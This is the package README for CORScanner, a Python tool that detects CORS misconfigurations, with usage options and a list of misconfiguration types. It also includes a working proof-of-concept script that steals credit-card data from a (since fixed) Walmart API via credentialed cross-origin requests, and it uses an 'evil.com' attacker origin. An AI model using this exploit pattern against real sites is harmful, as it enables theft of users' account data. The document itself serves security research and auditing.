Package: cors
About CORScannerCORScanner is a python tool designed to discover CORS misconfigurations vulnerabilities of websites. It helps website administrators and penetration testers to check whether the domains/urls they are targeting have insecure CORS policies.FeaturesFast. It usesgeventinstead of Python threads for concurrency, which is much faster for network scanning.Comprehensive. It covers allthe common types of CORS misconfigurationswe know.Flexible. It supports various self-define features (e.g. file output), which is helpful for large-scale scanning.🆕 CORScanner supports installation via pip (pip install corscannerorpip install cors)🆕 CORScanner can be used as a library in your project.Two useful references for understanding CORS systematically:USENIX security 18 paper:We Still Don’t Have Secure Cross-Domain Requests: an Empirical Study of CORS中文详解：绕过浏览器SOP，跨站窃取信息：CORS配置安全漏洞报告及最佳部署实践Please consider citing our paper if you do scentific research (Click me).Latex version:@inproceedings{chen-cors,
author ={Jianjun Chen and Jian Jiang and Haixin Duan and Tao Wan and Shuo Chen and Vern Paxson and Min Yang},
title ={We Still Don{\textquoteright}t Have Secure Cross-Domain Requests: an Empirical Study of{CORS}},
booktitle ={27th{USENIX}Security Symposium ({USENIX}Security 18)},
year ={2018},
isbn ={978-1-939133-04-5},
address ={Baltimore, MD},
pages ={1079--1093},
url ={https://www.usenix.org/conference/usenixsecurity18/presentation/chen-jianjun},
publisher ={{USENIX}Association},
month = aug,}Word version:Jianjun Chen, Jian Jiang, Haixin Duan, Tao Wan, Shuo Chen, Vern Paxson, and Min Yang. "We Still Don’t Have Secure Cross-Domain Requests: an Empirical Study of CORS." In 27th USENIX Security Symposium (USENIX Security 18), pp. 1079-1093. 2018.ScreenshotsInstallationDownload this toolgit clone https://github.com/chenjj/CORScanner.gitInstall dependenciessudo pip install -r requirements.txtCORScanner depends on therequests,gevent,tldextract,coloramaandargparsepython modules.Python Version:Both Python 2 (2.7.x) and Python 3 (3.7.x) are supported.CORScanner as a libraryInstall CORScanner via pipsudo pip install corscanneror use the short name:sudo pip install corsExample code:>>>fromCORScanner.cors_scanimportcors_check>>>ret=cors_check("https://www.instagram.com",None)>>>ret{'url':'https://www.instagram.com','type':'reflect_origin','credentials':'false','origin':'https://evil.com','status_code':200}You can also use CORScanner via thecorscannerorcorscommand:corscanner -vu https://www.instagram.comUsageShort FormLong FormDescription-u--urlURL/domain to check it's CORS policy-d--headersAdd headers to the request-i--inputURL/domain list file to check their CORS policy-t--threadsNumber of threads to use for CORS scan-o--outputSave the results to json file-v--verboseEnable the verbose mode and display results in realtime-T--timeoutSet requests timeout (default 10 sec)-p--proxyEnable proxy (http or socks5)-h--helpshow the help message and exitExamplesTo check CORS misconfigurations of specific domain:python cors_scan.py -u example.comTo enable more debug info, use -v:python cors_scan.py -u example.com -vTo save scan results to a JSON file, use -o:python cors_scan.py -u example.com -o output_filenameTo check CORS misconfigurations of specific URL:python cors_scan.py -u http://example.com/restapiTo check CORS misconfiguration with specific headers:python cors_scan.py -u example.com -d "Cookie: test"To check CORS misconfigurations of multiple domains/URLs:python cors_scan.py -i top_100_domains.txt -t 100To enable proxy for CORScanner, use -ppython cors_scan.py -u example.com -p http://127.0.0.1:8080To use socks5 proxy, install PySocks withpip install PySockspython cors_scan.py -u example.com -p socks5://127.0.0.1:8080To list all the basic options and switches use -h switch:python cors_scan.py -hMisconfiguration typesThis tool covers the following misconfiguration types:Misconfiguration typeDescriptionReflect_any_originBlindly reflect the Origin header value inAccess-Control-Allow-Origin headersin responses, which means any website can read its secrets by sending cross-orign requests.Prefix_matchwwww.example.comtrustsexample.com.evil.com, which is an attacker's domain.Suffix_matchwwww.example.comtrustsevilexample.com, which could be registered by an attacker.Not_escape_dotwwww.example.comtrustswwwaexample.com, which could be registered by an attacker.Substring matchwwww.example.comtrustsexample.co, which could be registered by an attacker.Trust_nullwwww.example.comtrustsnull, which can be forged by iframe sandbox scriptsHTTPS_trust_HTTPRisky trust dependency, a MITM attacker may steal HTTPS site secretsTrust_any_subdomainRisky trust dependency, a subdomain XSS may steal its secretsCustom_third_partiesCustom unsafe third parties origins likegithub.io, see more inorigins.jsonfile. Thanks@phackt!Special_characters_bypassExploiting browsers’ handling of special characters. Most can only work in Safari except_, which can also work in Chrome and Firefox. See more inAdvanced CORS Exploitation Techniques. Thanks@Malayke.Welcome to contribute more.Exploitation examplesHere is an example about how to exploit "Reflect_any_origin" misconfiguration on Walmart.com(fixed). Localhost is the malicious website in the video.Walmart.com video on Youtube:Here is the exploitation code:<script>// Send a cross origin request to the walmart.com server, when a victim visits the page.varreq=newXMLHttpRequest();req.open('GET',"https://www.walmart.com/account/electrode/account/api/customer/:CID/credit-card",true);req.onload=stealData;req.withCredentials=true;req.send();functionstealData(){//reading response is allowed because of the CORS misconfiguration.vardata=JSON.stringify(JSON.parse(this.responseText),null,2);//display the data on the page. A real attacker can send the data to his server.output(data);}functionoutput(inp){document.body.appendChild(document.createElement('pre')).innerHTML=inp;}</script>If you have understood how the demo works, you can read Section 5 and Section 6 of theCORS paperand know how to exploit other misconfigurations.LicenseCORScanner is licensed under the MIT license. take a look at theLICENSEfor more information.CreditsThis work is inspired by the following excellent researches:James Kettle, “Exploiting CORS misconfigurations for Bitcoins and bounties”, AppSecUSA 2016*Evan Johnson, “Misconfigured CORS and why web appsec is not getting easier”,  AppSecUSA 2016*Von Jens Müller, "CORS misconfigurations on a large scale",CORStest*